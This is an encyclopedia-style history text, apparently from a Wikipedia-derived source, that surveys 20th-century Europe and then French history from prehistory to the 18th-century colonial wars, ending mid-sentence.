          In the Treaty of Versailles (1919) the winners imposed relatively hard conditions on Germany and recognized the new states (such as Poland, Czechoslovakia, Hungary, Austria, Yugoslavia, Finland, Estonia, Latvia, Lithuania) created in central Europe out of the defunct German, Austro-Hungarian and Russian empires, supposedly on the basis of national self-determination. Most of those countries engaged in local wars, the largest of them being the Polish-Soviet War (1919-1921). In the following decades, fear of communism and the Great Depression of 1929-1933 led to the rise of extreme nationalist governments  sometimes loosely grouped under the category of fascism  in Italy (1922), Germany (1933), Spain (after a civil war ending in 1939) and other countries such as Hungary.
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          After allying with Mussolini's Italy in the " Pact of Steel" and signing a non-aggression pact with the Soviet Union, the German dictator Adolf Hitler started World War II on 1 September 1939 attacking Poland and following a military build-up throughout the late 1930s. After initial successes (mainly the conquest of western Poland, much of Scandinavia, France and the Balkans before 1941) the Axis powers began to over-extend themselves in 1941. Hitler's ideological foes were the Communists in Russia but because of the German failure to defeat the United Kingdom and the Italian failures in North Africa and the Mediterranean the Axis forces were split between garrisoning western Europe and Scandinavia and also attacking Africa. Thus, the attack on the Soviet Union (which together with Germany had partitioned central Europe in 1939-1940) was not pressed with sufficient strength. Despite initial successes, the German army was stopped close to Moscow in December 1941.


          Over the next year the tide was turned and the Germans started to suffer a series of defeats, for example in the siege of Stalingrad and at Kursk. Meanwhile, Japan (allied to Germany and Italy since September 1940) attacked the British in Southeast Asia and the United States in Hawaii on December 7, 1941; Germany then completed its over-extension by declaring war on the United States. War raged between the Axis Powers (Germany, Italy, and Japan) and the Allied Forces (British Empire, Soviet Union, and the United States). Allied Forces won in North Africa, invaded Italy in 1943, and invaded occupied France in 1944. In the spring of 1945 Germany itself was invaded from the east by the Soviet Union and from the west by the other Allies respectively; Hitler committed suicide and Germany surrendered in early May ending the war in Europe.


          This period was marked also by industrialized and planned genocide. Germany began the systematic genocide of over 11 million people, including the majority of the Jews of Europe and Gypsies as well as millions of Polish and Soviet Slavs. Soviet system of forced labour, expulsions and great hunger in Ukraine had similar death toll. During and after the war millions of civilians were affected by forced population transfers.
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          World War I and especially World War II ended the pre-eminent position of western Europe. The map of Europe was redrawn at the Yalta Conference and divided as it became the principal zone of contention in the Cold War between the two power blocs, the Western countries and the Eastern bloc. The United States and Western Europe (the United Kingdom, France, Italy, The Netherlands, West Germany, etc.) established the NATO alliance as a protection against a possible Soviet invasion. Later, the Soviet Union and Eastern Europe (Poland, Czechoslovakia, Hungary, Romania, Bulgaria, East Germany) established the Warsaw Pact as a protection against a possible U.S. invasion.


          Meanwhile, Western Europe slowly began a process of political and economic integration, desiring to unite Europe and prevent another war. This process resulted eventually in the development of organizations such as the European Union and the Council of Europe. The Solidarność movement in the 1980s in weakened the Communist government in Poland. The Soviet leader Mikhail Gorbachev initiated perestroika and glasnost, which weakened Soviet influence in Eastern Europe. Soviet-supported governments collapsed, and West Germany absorbed East Germany by 1990. In 1991 the Soviet Union itself collapsed, splitting into fifteen states, with Russia taking the Soviet Union's seat on the United Nations Security Council. The most violent breakup happened in Yugoslavia, in the Balkans. Four (Slovenia, Croatia, Bosnia and Herzegovina and Macedonia) out of six Yugoslav republics declared independence and for most of them a violent war ensued, in some parts lasting until 1995. In 2006 Montenegro succeeded and became an independent state, followed by Kosovo, formerly an autonomous province of Serbia, in 2008. In the post-Cold War era, NATO and the EU have been gradually admitting most of the former members of the Warsaw Pact.


          


          Reunification and integration
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          In 1992, the Treaty on European Union was signed by members of the European Union (EU). This transformed the 'European Project' from being the Economic Community with certain political aspects, into the Union of deeper cooperation, and to a greated degree based the pooling of national sovereignty, in politics.


          In 1985 the Schengen Agreement created largely open borders without passport controls between those states joining it.


          A common currency for most EU member states, the euro, was established electronically in 1999, officially tying all of the currencies of each participating nation to each other. The new currency was put into circulation in 2002 and the old currencies were phased out. Only three countries of the then 15 member states decided not to join the euro (The United Kingdom, Denmark and Sweden). In 2004 the EU undertook a major eastward enlargement, admitting 10 new member states (eight of which were former communist states). Two more joined in 2007, establishing a union of 27 nations.


          A treaty establishing a constitution for the EU was signed in Rome in 2004, intended to replace all previous treaties with a new single document. However, it never completed ratification after rejection by French and Dutch voters in referenda. In 2007, it was agreed to replace that proposal with a new Reform Treaty, that would amend rather than replace the existing treaties. This treaty was signed on 13 December 2007, and will come in effect in January 2009 if ratified by that date.


          The Balkans are the part of Europe most likely to join the EU next, with Croatia notably hoping to join before 2010.
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          The History of France has been divided into a series of separate historical articles navigable through the list to the right. The chronological era articles (highlighted in blue) address broad French historical, cultural and sociological developments. The dynasty and regime articles deal with the specific political and governmental regimes in France. The history of other cultural topics such as French art and literature can be found on their own pages. For information on today's France, see France. For other information, go to Portal:France.
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          The Neanderthals, a member of the homo genus, began to occupy Europe from about 200,000 BCE, but seem to have died out by about 30,000 years ago, presumably out-competed by the modern humans during a period of cold weather. The earliest modern humans  Homo sapiens  entered Europe (including France) around 50,000 years ago (the Upper Palaeolithic). The caves paintings of Lascaux and Gargas (Gargas in the Hautes-Pyrnes) as well as the Carnac stones are remains of the local prehistoric activity.


          


          Gaul


          Covering large parts of modern day France, Belgium, and northwest Germany, Gaul was inhabited by many Celtic tribes whom the Romans referred to as Gauls and who spoke the Gaulish language. On the lower Garonne the people spoke an archaic language related to Basque, the Aquitanian language. The Celts founded cities such as Lutetia Parisiorum (Paris) and Burdigala (Bordeaux) while the Aquitanians founded Tolosa (Toulouse).


          Long before any Roman settlements, Greek navigators settled in what would become Provence. The Phoceans founded important cities such as Massalia (Marseilles) and Nicaea (Nice), bringing them in to conflict with the neighboring Celts and Ligurians. The Phoceans were great navigators such as Pytheas who was born in Marseilles. The Celts themselves often fought with Aquitanians and Germans, and a Gaulish war band led by Brennus invaded Rome circa 393 or 388 BC following the Battle of the Allia. However Gaulish tactics would not evolve and the Romans would learn to counter them, the Gauls would from then be defeated in battles such as Sentinum and Telamon.


          When he fought the Romans, Hannibal Barca recruited several Gaulish mercenaries which fought on his side at Cannae. It was this Gaulish participation that caused Provence to be annexed in 122 BC by the Roman Republic. Later, the Consul of Gaul - Julius Caesar - conquered all of Gaul. Despite Gaulish opposition led by Vercingetorix, the Overking of the Warriors, Gauls succumbed to the Roman onslaught; the Gauls had some success at first at Gergovia, but were ultimately defeated at Alesia. The Romans founded cities such as Lugdunum (Lyon) and Narbonensis (Narbonne).


          


          Roman Gaul
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          Gaul was divided into several different provinces. The Romans displaced populations in order to prevent local identities to become a threat to the Roman control. Thus, many Celts were displaced in Aquitania or were enslaved and moved out of Gaul. There was a strong cultural evolution in Gaul under the Roman Empire, the most obvious one being the replacement of the Gaulish language by Vulgar Latin. It has been argued the similarities between the Gaulish and Latin languages favoured the transition. Gaul remained under Roman control for centuries and the Celtic culture was then replaced by the Gallo-Roman culture.


          Gauls became better integrated with the Empire with the passage of time. For instance Marcus Antonius Primus, an important general of the Roman Empire, and Emperor Claudius were both born in Gaul, as were general Gnaeus Julius Agricola and emperor Caracalla; Antoninus Pius also came from a gaulish family. In the decade following Valerians capture by the Persians in 260 Postumus established a short-lived Gallic Empire, which included the Iberian Peninsula and Britannia in addition to Gaul itself. Germanic tribes, the Franks and the Alamanni, entered Gaul at this time. The Gallic Empire ended with Emperor Aurelian's victory at Chalons in 274.
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          A migration of Celts appeared in the 4th century in Armorica. They were led by the legendary king Conan Meriadoc and came from Britain. They spoke the now extinct British language which evolved into the Breton, Cornish, and Welsh languages.


          In 418 the Aquitanian province was given to the Goths in exchange for their support against the Vandals. Those Goths had previously sacked Rome in 410 and established a capital in Toulouse. The Roman Empire had difficulty responding to all the barbarian raids, and Flavius Atius had to use these tribes against each other in order to maintain some Roman control. He first used Huns against Burgundians and these mercenaries destroyed Worms, killed king Gunther, and pushed the Burgundians westward. The Burgundians were resettled by Atius near Lugdunum in 443. The Huns, united by Attila became a greater threat, and Atius used the Visigoths against the Huns. The conflict climaxed in 451 at the Battle of Chalons, in which the Romans and Goths defeated Attila.


          The Roman Empire was on the verge of collapsing. Aquitania was definitely abandoned to the Visigoths, who would soon conquer a significant part of southern Gaul as well as most of the Iberian Peninsula. The Burgundians claimed their own kingdom, and northern Gaul was practically abandoned to the Franks. Aside of the Germanic peoples the Vascones entered Wasconia from the Pyrenees and the Bretons formed three kingdoms in Armorica: Domnonia, Cornouaille and Brorec.


          


          Frankish kingdoms (486-987)
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          In 486, Clovis I, leader of the Salian Franks, defeated Syagrius at Soissons and subsequently united most of northern and central Gaul under his rule. Clovis then recorded a succession of victories against other Germanic tribes such as the Alamanni at Tolbiac. In 496, he adopted Christianity. This gave him greater legitimacy and power over his Christian subjects and granted him clerical support against the Visigoths. He defeated Alaric II at Vouill in 507 and annexed Aquitaine, and thus Toulouse, into his Frankish kingdom. The Goths retired to Toledo in what would become Spain. Clovis made Paris his capital and established the Merovingian Dynasty but his kingdom would not survive his death. The Franks treated land purely as a private possession and divided it among heirs, so four kingdoms emerged: Paris, Orleans, Soissons, and Rheims. When the majordome of Austrasia Pepin of Herstal defeated his Neustrian counterpart at Tertry the Merovingian dynasty eventually lost effective power to their successive mayors of the palace (majordomes). The House of Herstal was to become the Carolingian dynasty. By this time Muslims invaders had conquered Hispania and were threatening the Frankish kingdoms. Duke Odo the Great defeated a major invading force at Toulouse in 721 but failed to repel a raiding party in 732. The mayor of the palace, Charles Martel, defeated that raiding party at the Battle of Tours (actually the battle between Tours and Poitiers) and earned respect and power within the Frankish Kingdom. The assumption of the crown in 751 by Pippin the Short (son of Charles Martel) established the Carolingian dynasty as Kings of the Franks.
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          The new rulers' power reached its fullest extent under Pippin's son Charlemagne. With Charlemagne German influences become paramount in France. In 771 Charlemagne reunited the Frankish domains after a further period of division, subsequently conquering the Lombards under Desiderius in what is now northern Italy (774), incorporating Bavaria (788) into his realm, defeating the Avars of the Danubian plain (796), advancing the frontier with Islamic Spain as far south as Barcelona (801), and subjugating Lower Saxony (804) after prolonged campaigning.


          In recognition of his successes and his political support for the Papacy, Charlemagne was crowned Emperor of the Romans, or Roman Emperor in the West, by Pope Leo III in 800. Charlemagne's son Louis I (emperor 814-840) kept the empire united; however, this Carolingian Empire would not survive Louis I's death. Two of his sons  Charles the Bald and Louis the German  swore allegiance to each other against their brother  Lothair I  in the Oaths of Strasbourg, and the empire was divided among Louis's three sons ( Treaty of Verdun, 843). After a last brief reunification (884-887), the imperial title ceased to be held in the western realm which was to form the basis of the future French kingdom. The eastern realm, which would become Germany, elected the Saxon dynasty of Henry the Fowler.


          Under the Carolingians, the kingdom was ravaged by Viking raiders. In this struggle some important figures such as Count Odo of Paris and his brother King Robert rose to fame and became kings. This emerging dynasty, whose members were called the Robertines, was the predecessor of the Capetian Dynasty, who were descended from the Robertines. Led by Rollo, the Vikings had settled in Normandy and were granted the land first as counts and then as dukes by King Charles the Simple. The people that emerged from the interactions between Vikings and the mix of Franks and Gallo-Romans became known as the Normans.


          See also:


          
            	List of Frankish Kings


            	Merovingians


            	Carolingians


            	Carolingian Empire
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          France in the Middle-Ages (987-1453)


          France was a very decentralised state during the middle age. The authority of the king was more religious than administrative. The eleventh century in France marked the apogee of princely power at the expense of the king when states like Normandy, Flanders or Languedoc enjoyed a local authority comparable to kingdoms in all but name. The Capetians, as they were descended from the Robertines, were former powerful princes themselves who had successfully removed the weak and unfortunate Carolingian kings. The Carolingians Kings had nothing more than a royal title when the Capetian Kings added their principality to that title. The Capetians in a way had this double status of King and Prince, as king they held the Crown of Charlemagne and as Count of Paris they held their personnal fief best known as le-de-France. The fact the Capetians both held lands as prince as well as the title of King gave them a complicated status, thus they were involved in the struggle for power within France as princes but also gave them a religious authority over the Church of France. However and despite the fact the Capetians kings often treated other princes more as enemies and allies than subordonates his royal title was often recognised yet not often respected. The authority was so weak in some remote places that bandits were the effective power.


          Some of the king's vassals would grow so powerful that they would be among the strongest rulers of western Europe. The Normans, the Plantagenets, the Lusignans, the Hautevilles, the Ramnulfids, and the House of Toulouse successfully carved lands outside of France for themselves. The most important of these conquests for French history was the Norman Conquest of England following the Battle of Hastings by William the Conqueror because it linked England to France through Normandy. Although the Normans were now both vassals of the French kings and their equals as King of England, their zone of political activity remained centered in France. These Norman nobles then commissioned the Bayeux Tapestry. An important part of the French aristocracy involved itself in the crusades. French knights founded and ruled the Crusader states. An example of legacy left in the Mideast from these nobles is the Krak des Chevaliers' enlargement by the Counts of Tripoli and Toulouse.


          


          The Early Capetians (987 - 1165)
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          Hugh Capet was elected by an assembly summoned in Reims on 5 June 988. Capet was previously "Duke of the Franks" and then became "King of the Franks" (Rex Francorum). He was recorded to be recognised king by the Gauls, Bretons, Danes, Aquitanians, Goths, Spanish and Gascons. The Danes here are certainly the Normans (of Normandy), and the Spanish entry probably refers to the Carolingian Spanish marches. Hugh Capet's reign was marked by the loss of the Spanish marches as they grew more and more independent. Count Borell of Barcelona called for Hugh's help against Islamic raids, but even if Hugh intended to help Borell, he was otherwise occupied in fighting Charles of Lorraine. The loss of other Spanish principalities then followed. Hugh Capet, the first Capetian king, is not a well documented figure, his greatest achievement being certainly to survive as king and defeating the Caroligian claimant, thus allowing him to establish what would become one of Europe's most powerful house of kings.


          Hugh's son  Robert the Pious  was crowned king of France before Capet's demise. Hugh Capet decided so in order to have his succession secured. Robert II, as King of France, met Emperor Henry II in 1023 on the borderline. They agreed to end all claims over each other's realm, setting a new stage of Capetian and Ottonian relationships. The reign of Robert II was quite important because it involved the Peace and Truce of God and the Cluniac Reforms. Although a weak king in power Robert II's efforts were considerable. His surviving charters imply he was heavily relying over the church to rule France, much like his father did. Although he lived with a mistress  Bertha of Burgundy and was excommunicated because of this, he was regarded as a model of piety for monks (hence his nickname, Robert the Pious). He crowned his son  Hugh Magnus King of France to secure his succession, however Hugh Magnus rebelled against his father and died fighting him. The next King of France  Henry I was crowned after Robert's death, which is quite exceptional for a French king of the times.


          Henry I was one of the weakest King of France, his reign saw the rise of some very powerful nobles such as William the Conqueror. However his biggest source of concerns was his brother  Robert I of Burgundy who was pushed by his mother to the conflict. Robert of Burgundy was made Duke of Burgundy by King Henry I and had to be satisfied with that title. From Henry I onward the Dukes of Burgundy were relatives of the King of France until the end of the Duchy proper. King Philip I, named by his Kievan mother with a typically Eastern European name, was no more fortunate than his predecessor.
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          It is from Louis VI onward that royal authority became more accepted. Louis VI was more a soldier and warmongering king than a scholar. The way the king raised money from his vassals made him quite unpopular, he was described as greedy and ambitious and that is corroborated by records of the time. His regular attacks on his vassals, although damaging the royal image, reinforced the royal power. From 1127 onward the royal advisor was a skilled politician  Abbot Suger . The abbot was the son of a minor family of knights however his policital advices would show extremely valuables to the king. Louis VI successfully defeated, both military and politically, many of the robber barons. Louis VI often summoned his vassals to the court, those who did not show up often had their land possessions confiscated and then military campaigns were mounted against them. This drastic policy clearly imposed some royal authority on Paris and its surrounding areas. When Louis VI died in 1137 there still was a long way to go, however a lot of efforts had been done.


          Thanks to Abbot Suger's political advices King Louis VII enjoyed the moral authority over France his predecessors should have got. Even more powerful vassals such as Henry Plantagenet paid homage to the French king. It was the Abbot who got Louis VII married with Eleanor of Aquitaine in Bordeaux. Louis VII was then Duke of Aquitaine from his wedding with Eleanor and enjoyed considerable power. However the couple was not getting on well at all because of the burning of more than a thousand people in Vitry during the conflict against the Count of Champagne. King Louis VII was deeply horrified by such event and sought penitence by going to the holy land. Louis then involved the Kingdom of France in the Second Crusade but his relationship with Eleanor did not improve. The marriage was ultimately annulated by the pope under the pretext of consanguinity and Eleanor soon married the Duke of Normandy Henry Fitzempress who would become King of England as Henry II two years later. Louis VII was once a very powerful monarch and was now facing a much stronger vassal, who was his equal as King of England and his strongest prince as Duke of Normandy and Aquitaine. Abbot Sugar's vision of construction became known as the Gothic Architecture during the later Renaissance. This style became standard for most French cathedrals built in the late middle-age.


          


          The late Capetians (1165 - 1328)


          The late direct Capetian kings were considerably more powerful and influential than the earliest ones. While Philip I could hardly control his Parisian barons Philip IV, on the other hand, could dictate popes and emperors. The late Capetians, although they often ruled for a shorter time than their earlier peers, were often much more influencials. This period also saw the rise of a complex system of international alliances and conflicts opposing, through dynasties, Kings of France and England and Holy Roman Emperor.


          


          Philip II Augustus


          The reign of Philip II Augustus marked an important step in the history of French monarchy. His reign saw the French royal domain and influence greatly expanded. He had set the context for the rise of power to much more powerful monarchs like Saint Louis and Philip the Fair.
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          Philip II spent an important part of his reign fighting the so-called Angevin Empire, which was probably the greatest threat to the King of France since the rise of the Capetian dynasty. During the first part of his reign Philip II tried using Henry II of England's son against him. He allied himself with the Duke of Aquitaine and son of Henry II Richard Lionheart and together they launched a decisive attack on Henry's castle and home of Chinon and removed him from power. Richard replaced his father as King of England afterward. The two kings then went crusading during the Third Crusade however their alliance and friendship broke down during the crusade. The two men were once again at odds and fought each others in France and Richard was on the verge of totally defeating Philip II. Adding to their battles in France the Kings of France and England were trying to install their respective allies at the head of the Holy Roman Empire. If Philip II Augustus supported Philip of Swabia, member of the House of Hohenstaufen, Richard Lionheart supported Otto IV, member of the House of Welf. Otto IV had the upper hand and became the Holy Roman Emperor at the expense of Philip of Swabia. The crown of France was saved by Richard's demise after a wound he received fighting his own vassals in Limousin. John Lackland, Richard's successor, refused to come to the French court for a trial against the Lusignans and like Louis VI often did to his rebellous vassals Philip II confiscated John's possessions in France. John's defeat was swift and his attempts to reconquer his French possession at the Battle of Bouvines showed being a complete failure. His allies, most notably Emperor Otto IV, were all defeated or captured and even as King of England he had no mean to reconquer Normandy and Anjou. Not only Philip II annexed Normandy and Anjou but he had captured the Counts of Boulogne and Flanders. Otto IV was overthrown by Frederick II, allied of Philip II of France and member of the House of Hohenstaufen. The King of France however stopped before conquering Aquitaine and Gascony who remained loyal to the Plantagenet King. In addition to defeating John of England, Philip Augustus founded the Sorbonne and made Paris a city for scholars. Prince Louis (the future Louis VIII) was involved in the subsequent English civil war as French and English (or rather Anglo-Norman) aristocracies were once one and were now split between allegiances. While the French kings were struggling against the Plantagenets, the Church called for the Albigensian Crusade. Southern France was then largely absorbed in the royal domains.


          


          Saint Louis


          
            [image: Saint Louis. He saw France's cultural expansion in the Western Christian world.]

            
              Saint Louis. He saw France's cultural expansion in the Western Christian world.
            

          


          It can be said that France became a truly centralised kingdom under Louis IX, who initiated several administrative reforms. Saint Louis has often been portrayed as a one dimensional character, a flawless representant of the faith and an administrator caring for the governed ones. However his reign was far from perfect for everyone, he made unsuccessful crusades and his expanding administrations raised oppositions. His jugdements were not often practical, although they seemed fair by the standards of the time. It appears Louis had a strong sense of justice and always wanted to judge people himself before applying any sentence. This was said about Louis and French clergy asking for excommunications of Louis' vassals:


          
            
              	

              	For it would be against god and contrary to right and justice if he compelled any man to seek absolution when the clergy were doing him wrong.

              	
            

          


          Louis IX was only twelve years old when he became King of France, his mother  Blanche of Castile was the effective power although the King was indeed Louis IX. Blanche's authority was strongly opposed by the French barons yet she could maintain her position as regent (although she did not formally use the title) until Louis was old enough to rule by himself. In 1229 the King had to struggle with a long lasting strike at the University of Paris, the Quartier Latin was strongly hit by these strikes. War was still going on in the County of Toulouse, the royal army was occupied fighting resistance in Languedoc and the kingdom was therefore vulnerable. Count Raymond VII of Toulouse finally signed the Treaty of Paris in 1229, in which he retained much of his lands to life, but his daughter, married to Count Alfonso of Poitou, produced him no heir and so the County of Toulouse went to the King of France. King Henry III of England had not yet recognised the Capetian overlordship over Aquitaine and still hoped to recover Normandy and Anjou and reform the Angevin Empire. He landed in 1232 at Saint-Malo with a massive force. Henry III's allies in Brittany and Normandy fell down because they did not dare fight their king who led the counterstrike himself. This evolved into the Saintonge War, Henry III was defeated and had to recognise Louis IX's overlordship although the King of France did not seize Aquitaine from Henry III. Louis IX was now the most important landowner of France, adding to his royal title. There were some opposition to his rule in Normandy, yet it proved remarkably easy to rule, especially compared to the County of Toulouse which had been brutally conquered. The Conseil du Roi, which would evolve into the Parlement, was founded in these times.


          Saint Louis also supported new forms of art such as Gothic architecture; his Sainte-Chapelle became a very famous gothic building, and he is also credited for the Morgan Bible. After his conflict with King Henry III of England Louis established a cordial relation with the Plantagenet King. An amusing anecdote is about Henry III's attending the French Parlement, as Duke of Aquitaine, the King of England was always late because he liked to stop each time he met a priest to hear the mass, so Louis made sure no priest was on the way of Henry III. Henry III and Louis IX then started a long contest in who was the most faithful up to the point none ever arrived anymore on time to the Parlement which was then allowed to debate in their absence.


          The Kingdom was involved in two crusades under Saint Louis: the Seventh Crusade and the Eighth Crusade. Both proved to be complete failures for the French King. He died in the Eighth Crusade and Philip III became king. Philip III took part in another crusading disaster: the Aragonese Crusade, which cost him his life.


          More administrative reforms were made by Philip the Fair. This king was responsible for the end of the Templars, signed the Auld Alliance, and established the Parlement of Paris. Philip IV was so powerful that he could name popes and emperors, unlike the early Capetians. The papacy was moved to Avignon and all the contemporary popes were French such as Philip IV's puppet: Bertrand de Goth.


          Capetian Dynasty
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                	Charles IV the Fair

              

            

          


          


          The early Valois Kings and the Hundred Years' War (1328 - 1453)


          The tensions between the Houses of Anjou and Capet climaxed during the so-called Hundred Years' War (actually several distinct wars) when the English descendants of the former claimed the throne of France from the Valois. This was also the time of the Black Death, as well as several civil wars. The French population suffered much from these wars. It has been argued that the difficult conditions the French population suffered during the Hundred Years' War awakened French nationalism, a nationalism represented by Joan of Arc. Although this is debatable, the Hundred Years War is remembered more as a Franco-English war than as a succession of feudal struggles. During this war, France evolved politically and militarily. Although a Franco-Scottish army was successful at Baug, the humiliating defeats of Poitiers and Agincourt forced the French nobility to realise they could not stand just as armoured knights without an organised army. Charles VII established the first French standing army, the Compagnies d'ordonnance, and defeated the English once at Patay and again, using cannons, at Formigny. The Battle of Chtillon was regarded as the last engagement of this "war", yet Calais and the Channel Islands remained ruled by the English crown.


          French Kings:


          
            	House of Valois
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          English interlude (between Charles VI and VII)
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          Important figures:


          
            	William the Conqueror


            	Richard Lionheart


            	Abbot Suger


            	Joan of Arc


            	Simon de Montfort


            	Gilles de Rais

          


          


          Early Modern France (1453-1789)
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          France evolved from a feudal country to an increasingly centralized state (albeit with many regional differences) organized around a powerful absolute monarchy that relied on the doctrine of the Divine Right of Kings and the explicit support of the established Church. The Duke of Burgundy had assembled a large territory including his native duchy and the Burgundian Netherlands. King Louis XII faced Charles the Bold during Burgundian Wars and the French King was allied with the Old Swiss Confederacy. The Duke of Burgundy was defeated at Morat, Battle of Grandson, Hricourt and ultimately defeated at Nancy in 1477. The Duchy of Burgundy was annexed by France but the part of Burgundy that formed Franche-Comt was given to Philip I of Castile in 1493.


          France engaged in the long Italian Wars (1494-1559), which marked the beginning of early modern France. Francis I faced powerful foes, and he was captured at Pavia. The French monarchy then sought for allies and found one in the Ottoman Empire. The Ottoman Admiral Barbarossa captured Nice on 5 August 1543 and handed it down to Francis I. These times also gave birth to the Protestant Reformation, and John Calvin and his reformed doctrine challenged the power of the Catholic Church in France. During the 16th century, the Spanish and Austrian Habsburgs were the dominant power in Europe. In addition to Spain and Austria, they controlled a number of kingdoms and duchies across Europe. Charles Quint, as Count of Burgundy, Holy Roman Emperor, King of Aragon, Castile and Germany (among many other titles) encircled France. The Spanish Tercio was used with great success against French knights and remained undefeated for a long time. Finally on January 7, 1558 the Duke of Guise seized Calais from the English.


          Despite the challenge to French power posed by the Habsburgs, French became the preferred language of Europe's aristocracy. Holy Roman Emperor Charles V (born in 1500) said this about languages:


          
            
              	

              	I speak Spanish to God, Italian to women, French to men, and German to my horse.

              	
            

          


          Because of its international status, there was a desire to regulate the French language. Several reforms of the French language worked to uniformise it. The Renaissance writer Franois Rabelais (probably born in 1494) helped to shape the French language as a literary language, Rabelais' French is characterised by the re-introduction of Greek and Latin words. Jacques Peletier du Mans (born 1517) was one of the scholars that reformed the French language. He improved Nicolas Chuquet's long scale system by adding names for intermediate numbers (milliards instead of thousand million, etc...). During the 16th century the French kingdom also established colonies began to claim North American territories. Jacques Cartier was one of the great explorers who ventured deep into American territories during the 16th century. The largest group of French colonies became known as New France, and several cities such as Quebec City, Montreal, Detroit and New Orleans were founded by the French. The Italian navigator Giovanni da Verrazzano worked for the French crown and discovered New Angoulme which would later come to be known as New York City.


          


          Religious conflicts
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          Renewed Catholic reaction headed by the powerful duke of Guise, led to a massacre of Huguenots at Vassy in 1562, starting the first of the French Wars of Religion, during which English, German, and Spanish forces intervened on the side of rival Protestant and Catholic forces. In the most notorious incident, thousands of Huguenots were murdered in the St. Bartholomew's Day massacre of 1572. The Wars of Religion culminated in the War of the Three Henrys in which Henry III assassinated Henry de Guise, leader of the Spanish-backed Catholic league, and the king was murdered in return. Following this war Henry III of Navarre became king of France as Henry IV and enforced the Edict of Nantes (1598). Religious conflicts resumed under Louis XIII when Cardinal de Richelieu forced Protestants to disarm their army and fortresses. This conflict ended in the Siege of La Rochelle (1627-1628), in which Protestants and their English supporters were defeated. The following Peace of Alais confirmed religious freedom yet dismantled the Protestant defences. This was also a time of philosophy. Ren Descartes sought answers to philosophical questions through the use of logic and reason and formulated what would be called Cartesian Dualism in 1641.


          The religious conflicts that plagued France also ravaged the Habsburg-led Holy Roman Empire. The Thirty Years War eroded the power of the Catholic Habsburgs. Although Cardinal Richelieu, the powerful chief minister of France, had previously mauled the Protestants, he joined this war on their side in 1636 because it was the raison d'tat. Imperial Habsburg forces invaded France, ravaged Champagne, and nearly threatened Paris. Richelieu died in 1642 and was replaced by Mazarin, while Louis XIII died one year later and was succeeded by Louis XIV. France was served by some very efficient commanders such as Louis II de Bourbon (Cond) and Henry de la Tour d'Auvergne (Turenne). The French forces won a decisive victory at Rocroi (1643), and the Spanish army was decimated; the Tercio was broken. The Truce of Ulm (1647) and the Peace of Westphalia (1648) brought an end to the war. But some challenges remained. France was hit by civil unrest known as the Fronde which in turn evolved into the Franco-Spanish War in 1653. Louis II de Bourbon joined the Spanish army this time, but suffered a severe defeat at Dunkirk (1658) by Henry de la Tour d'Auvergne. The terms for the peace inflicted upon the Spanish kingdoms in the Treaty of the Pyrenees (1659) were harsh, as France annexed Northern Catalonia.


          


          Louis XIV
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          The Sun King wanted to be remembered as a patron of the arts, like his ancestor Louis IX. He invited Jean-Baptiste Lully to establish the French opera. A tumultuous friendship was established between Lully and Molire. Jules Hardouin Mansart became France's most important architect of the period. Louis XIV's long reign saw France involved in many wars that drained its treasury. His reign began during the Thirty Years' War and during the Franco-Spanish war. His military architect, Vauban, became famous for his pentagonal fortresses, and Jean-Baptiste Colbert supported the royal spending as much as possible. France fought the War of Devolution against Spain in 1667. France's defeat of Spain and invasion of the Spanish Netherlands alarmed England and Sweden. With the Dutch Republic they formed the Triple Alliance to check Louis XIV's expansion. Louis II de Bourbon had captured Franche-Comt, but in face of an indefensible position, Louis XIV agreed to a peace at Aachen. Under its terms, Louis XIV did not annex Franche-Comt but did gain Lille.


          Peace was fragile, and war broke out again between France and the Dutch Republic in the Franco-Dutch War (1672-1678). Louis XIV asked for the Dutch Republic to resume war against the Spanish Netherlands, but the republic refused. France attacked the Dutch Republic and was joined by England in this conflict. Through targeted inundations of polders by breaking dykes, the French invasion of the Dutch Republic was brought to a halt. The Dutch Admiral Michiel de Ruyter inflicted a few strategic defeats on the Anglo-French naval alliance and forced England to retire from the war in 1674. Because the Netherlands could not resist eternally, it agreed to peace in the Treaties of Nijmegen, according to which France would annex France-Comt and acquire further concessions in the Spanish Netherlands. On 6 May 1682, the royal court moved to the Palace of Versailles, which Louis XIV had greatly expanded. Peace did not last, and war between France and Spain again resumed. The War of the Reunions broke out (1683-1684), and again Spain, with its ally the Holy Roman Empire, was easily defeated. Meanwhile, in October 1685 Louis signed the Edict of Fontainebleau ordering the destruction of all Protestant churches and schools in France. Its immediate consequence was a large Protestant exodus from France.


          France would soon be involved in another war, the War of the Grand Alliance. This time the theatre was not only in Europe but also in North America. Although the war was long and difficult (it was also called the Nine Years War), its results were inconclusive. The Treaty of Ryswick in 1697 confirmed French sovereignty over Alsace, yet rejected its claims to Luxembourg. Louis also had to evacuate Catalonia and the Palatinate. This peace was considered a truce by all sides, thus war was to start again. In 1701 the War of the Spanish Succession began. The Bourbon Philip of Anjou was designated heir to the throne of Spain. The Habsburg Emperor Leopold opposed a Bourbon succession, because of the power that such a succession would bring to the Bourbon rulers of France, and claimed the Spanish thrones for himself. England and the Dutch Republic joined Leopold against Louis XIV and Philip of Anjou. The allied forces were led by John Churchill and by Prince Eugene of Savoy. They inflicted a few resounding defeats to the French army; the Battle of Blenheim in 1704 was the first major land battle lost by France since its victory at Rocroi in 1643. Yet, after the extremely bloody battles of Ramillies and Malplaquet, Pyrrhic victories for the allies, they had lost too many men to continue the war. Led by Villars, the French forces recovered much of the lost ground in battles such as Denain. Finally, a compromise was achieved with the Ultrecht in 1713. Philip of Anjou was confirmed as Philip V, king of Spain, and Emperor Leopold did not get the throne, but Philip V was barred from inheriting France.


          


          Colonial struggles and the dawn of the revolution


          Louis XIV died in 1715 of gangrene. In 1718 France was, once again, at war as Philip II of Orleans's regency joined the War of the Quadruple Alliance against Spain. King Philip V of Spain had to withdraw from the conflict confronted with the reality that Spain was no longer a great power of Europe. Under Fleury's administration, peace was maintained as much as possible. However, in 1733 another war broke in central Europe, this time about the Polish succession, and France joined the war against the Austrian Empire. This time there was no invasion of the Netherlands, and Britain remained neutral. As a consequence, Austria was left alone against a Franco-Spanish alliance and faced a military disaster. Peace was setted in the Treaty of Vienna (1738), according to which France would annex, through inheritance, the Duchy of Lorraine. Two years later war broke out over the Austrian succession, and France seized the opportunity to join the conflict. The war played out in North America and India as well as Europe, and inconclusive terms were agreed to in the Treaty of Aix-la-Chapelle (1748). Once again, no one regarded this as a peace but rather as a mere truce. Prussia was then becoming a new threat as it had gained substantial territory from Austria. This led to the Diplomatic Revolution of 1756, in which the alliances seen during the previous war were mostly inverted. France was now allied to Austria and Russia while Britain was now allied to Prussia. In the North American theatre, France was allied with various Native American peoples during the Seven Years' War and, despite a temporary success at the battles of the Great 